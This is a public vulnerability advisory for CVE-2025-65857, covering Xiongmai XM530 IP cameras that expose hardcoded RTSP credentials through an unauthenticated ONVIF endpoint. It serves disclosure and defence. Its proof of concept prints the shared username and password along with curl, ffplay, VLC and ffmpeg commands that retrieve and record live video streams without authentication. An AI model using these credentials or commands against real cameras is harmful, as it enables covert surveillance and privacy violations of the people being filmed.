CVE-2025-65857

Xiongmai XM530 IP Camera Hardcoded RTSP Credentials Exposure

Summary

The GetStreamUri ONVIF endpoint in Xiongmai XM530-series IP cameras exposes RTSP URIs containing hardcoded credentials, enabling direct unauthorized access to live video streams.

CVE ID: CVE-2025-65857
Severity: CRITICAL
CVSS v3.1 Score: 9.1 *(Researcher assessment - pending NVD analysis)*
CVSS Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H`

CVSS Breakdown

- **Attack Vector (AV):** Network - Remotely exploitable
- **Attack Complexity (AC):** Low - Credentials hardcoded in all devices
- **Privileges Required (PR):** None - Accessible via CVE-2025-65856
- **User Interaction (UI):** None - Zero-click exploitation
- **Confidentiality:** High - Complete video stream access
- **Integrity:** None - Read-only credential exposure
- **Availability:** High - Potential DoS via stream exhaustion

Official CVSS score will be published by NVD following their analysis.

Affected Products

Vendor: Hangzhou Xiongmai Technology Co., Ltd.
Product: IP Camera XM530V200_X6-WEQ_8M
Commercial Brand: ANBIUX (and hundreds of OEM rebrands)
Firmware: V5.00.R02.000807D8.10010.346624.S.ONVIF 21.06 and likely all V5.00.R02.* versions
Component: ONVIF Media Service - GetStreamUri endpoint

Device Context:
Xiongmai is a major OEM supplier of IP cameras sold under hundreds of brand names globally.

These cameras are widely deployed in residential, commercial, and industrial surveillance systems.

Vulnerability Details

The `GetStreamUri` ONVIF endpoint returns RTSP URIs with hardcoded credentials embedded directly in the URL.

Technical Details:

1. **Hard-coded Credentials (CWE-798)**
   - Username: `wphd`
   - Password: `2MNswbQ5`
   - Identical across all tested devices
   - Do not change when admin password is modified
2. **Insufficiently Protected Credentials (CWE-522)**
   - Credentials transmitted in plaintext over HTTP
   - Embedded in URI format: `rtsp://[IP]:554/user=wphd_password=2MNswbQ5_channel=0_stream=0&onvif=0.sdp?real_stream`
   - No encryption or obfuscation
3. **Combined with CVE-2025-65856:**
   - GetStreamUri endpoint accessible without authentication
   - Complete zero-click access to live video streams
   - No authentication barriers whatsoever

Impact

An unauthenticated remote attacker can:

- Obtain RTSP credentials via unauthenticated ONVIF request
- Access live video and audio streams directly
- Monitor surveillance feeds in real-time
- Perform mass surveillance (credentials work across all devices)
- Violate privacy of camera subjects

Privacy Impact:

- Critical violation of GDPR and privacy regulations
- Enables targeted surveillance and stalking
- Mass surveillance operations feasible
- No user notification of unauthorized access

Real-world Scenarios:

- Home surveillance cameras monitored by strangers
- Business security feeds accessible to competitors
- Residential privacy completely compromised

Proof of Concept

Step 1: Obtain Valid Profile Tokens (No Authentication Required)

```
curl -X POST http://[CAMERA_IP]:8899/onvif/device_service \
  -H "Content-Type: application/soap+xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">
  <s:Body xmlns:trt="http://www.onvif.org/ver10/media/wsdl">
    <trt:GetProfiles/>
  </s:Body>
</s:Envelope>'
```

Response includes available profiles:

- Token `000` - mainStream (3200x1800 H264)
- Token `001` - subStream (800x448 H264)
- Token `002` - snapStream (800x448 JPEG)

Step 2: Extract RTSP URI with Hardcoded Credentials

```
curl -X POST http://[CAMERA_IP]:8899/onvif/Media \
  -H "Content-Type: application/soap+xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">
  <s:Body xmlns:trt="http://www.onvif.org/ver10/media/wsdl">
    <trt:GetStreamUri>
      <trt:StreamSetup>
        <tt:Stream xmlns:tt="http://www.onvif.org/ver10/schema">RTP-Unicast</tt:Strea
        <tt:Transport xmlns:tt="http://www.onvif.org/ver10/schema">
```

```
          <tt:Protocol>RTSP</tt:Protocol>
        </tt:Transport>
      </trt:StreamSetup>
      <trt:ProfileToken>000</trt:ProfileToken>
    </trt:GetStreamUri>
  </s:Body>
</s:Envelope>'
```

Response exposes hardcoded credentials:

```
<tt:Uri>rtsp://[CAMERA_IP]:554/user=wphd_password=2MNswbQ5_channel=0_stream=0&amp;onv
```

Step 3: Access Video Stream Directly

```
# Using ffplay
ffplay "rtsp://[CAMERA_IP]:554/user=wphd_password=2MNswbQ5_channel=0_stream=0&onvif=0

# Using VLC
vlc "rtsp://[CAMERA_IP]:554/user=wphd_password=2MNswbQ5_channel=0_stream=0&onvif=0.sd

# Using ffmpeg (recording)
ffmpeg -i "rtsp://[CAMERA_IP]:554/user=wphd_password=2MNswbQ5_channel=0_stream=0&onvi
```

Result: Complete access to live video stream with zero authentication in three simple steps.

Mitigation

For Users (Immediate):

- **Network Isolation:** Place cameras on isolated VLAN with no internet access
- **Firewall Rules:** Block all inbound connections to RTSP port 554
- **VPN-Only Access:** Never expose cameras directly to internet
- **Monitor RTSP Connections:** Log and alert on unexpected RTSP sessions
- **Consider Replacement:** Given vendor’s security history, replacement strongly recommended

For Vendor:

- Remove hardcoded credentials from RTSP URIs
- Implement RTSP Digest Authentication (RFC 2617)
- Use session tokens with expiration

- Generate unique credentials per device
- Implement rate limiting on RTSP connections

No patch currently available.

Timeline

- **November 2025:** Vulnerability discovered during security assessment
- **December 16, 2025:** CVE-2025-65857 assigned by MITRE
- **December 17, 2025:** Vendor contact attempted via XMSRC@xiongmaitech.com (email delivery failed - server misconfigured)
- **December 17, 2025:** Alternative contact attempted via oversea_sales@xiongmaitech.com (email delivery failed)
- **December 18, 2025:** Public disclosure

Vendor Response: No response received. Official security contact infrastructure non-functional.

Credits

Discovered by: Luis Miranda Acebedo
Location: Vigo, Galicia, Spain
Contact: luis.miranda.acebedo@gmail.com

References

- **CVE:** https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-65857
- **Related:** CVE-2025-65856 (ONVIF Authentication Bypass)
- **CWE-798:** https://cwe.mitre.org/data/definitions/798.html
- **CWE-522:** https://cwe.mitre.org/data/definitions/522.html
- **RTSP RFC 2326:** https://tools.ietf.org/html/rfc2326
- **Similar CVE:** CVE-2018-6830 (Foscam - Similar RTSP credential exposure)
- **Vendor History:**
  - CVE-2017-16725 (Directory traversal, unpatched)
  - CVE-2018-10088 (Authentication bypass, unpatched)
  - CVE-2018-17915, 17917, 17919 (XMEye P2P vulnerabilities)

- Mirai botnet contributor (2016)
- SEC Consult Advisory (2018): “Recommend discontinuing Xiongmai products”

This site is open source. Improve this page.

This site is open source. Improve this page.